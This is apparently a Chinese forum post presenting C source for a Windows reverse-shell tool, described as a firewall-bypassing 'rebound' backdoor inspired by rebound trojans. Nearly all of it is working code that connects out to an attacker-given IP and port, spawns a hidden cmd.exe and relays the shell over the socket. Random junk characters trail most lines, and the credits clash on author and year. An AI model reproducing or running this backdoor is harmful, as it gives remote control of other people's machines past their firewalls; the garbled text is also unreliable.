这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 XpJ7o=?W3
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/* ============================== }`~+]9<
Rebound port in Windows NT |
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By wind,2006/7 }pu27F)&
===============================*/ LFtt gY
#include %bfQ$a:
#include <UQbt N-B\
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#pragma comment(lib,"wsock32.lib") 3$9W%3
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void OutputShell(); n7-6-
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SOCKET sClient; <e</m)j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B`J~^+`[*
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void main(int argc,char **argv) X}\:_/
{ 3/n5#&c\4
WSADATA stWsaData; Jz e:[MYS
int nRet; JFk
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SOCKADDR_IN stSaiClient,stSaiServer; )P|),S,;Z
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if(argc != 3) s!7y
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printf("Useage:\n\rRebound DestIP DestPort\n"); }U"&8%PZr
return; W:L
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} WI-1)1t
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WSAStartup(MAKEWORD(2,2),&stWsaData); YcpoL@ab
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gSQJJxZ{?
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stSaiClient.sin_family = AF_INET; g7W"
stSaiClient.sin_port = htons(0); |8tilOqI
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V33T+P~j
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wDe& 1(T^
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printf("Bind Socket Failed!\n"); f=K]XTw~
return; v
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} ;@|n @ax
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stSaiServer.sin_family = AF_INET; SKsKPqz
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wD'SPk5S?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z}Ft:7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A{D];pE`
{
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printf("Connect Error!"); ?2Py_gkf
return; wEvVL
} Qn)a/w-
OutputShell(); bB3powy9
} UrEs4R1#
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void OutputShell() *YuF0Yt
{ 9m~p0 ILh
char szBuff[1024]; *wB1,U{
SECURITY_ATTRIBUTES stSecurityAttributes; QE`bSI
OSVERSIONINFO stOsversionInfo; n8ZZ#}Nhg
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q'Tf,a
STARTUPINFO stStartupInfo; '@k+4y9q?
char *szShell; X?qK0fS
PROCESS_INFORMATION stProcessInformation; +OWX'~fd<
unsigned long lBytesRead; 'kO!^6=4M
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sN01rtB(UT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fHd#u%63K
stSecurityAttributes.lpSecurityDescriptor = 0; %^1V4
stSecurityAttributes.bInheritHandle = TRUE; <1${1A <Wa
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0{}8(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PP33i@G
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fN1-d&T
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LIF7/$,0
stStartupInfo.wShowWindow = SW_HIDE; )W
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stStartupInfo.hStdInput = hReadPipe; 3K0A)W/YEs
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; N)\. [v
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GetVersionEx(&stOsversionInfo); y(yHt=r
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switch(stOsversionInfo.dwPlatformId) $1L>)S
{ 9w"4K.
case 1: 1JG'%8}#8
szShell = "command.com"; L2i_X@/
break; ~YWQ2]
default: wIaony
szShell = "cmd.exe"; ?Z[[2\DR
break; j[J-f@F \Y
} E,x+JeKV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r1{@Ucw2
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send(sClient,szMsg,77,0); ag;pN*z
while(1) oDA XiY$u
{ "
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yEoF4bt
if(lBytesRead) Ww+IWW@
{ Ad9}9!<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); x,pjpx
send(sClient,szBuff,lBytesRead,0); l'E*=Rn
} paE[rS\
else 3J|F?M"N7
{ nRZ]z( b
lBytesRead=recv(sClient,szBuff,1024,0); 8COGsWK
if(lBytesRead<=0) break; ,~@X{7U
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RmeD$>7
} SBk4_J/_
} &>W$6>@
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return; $2M$?4S/T
}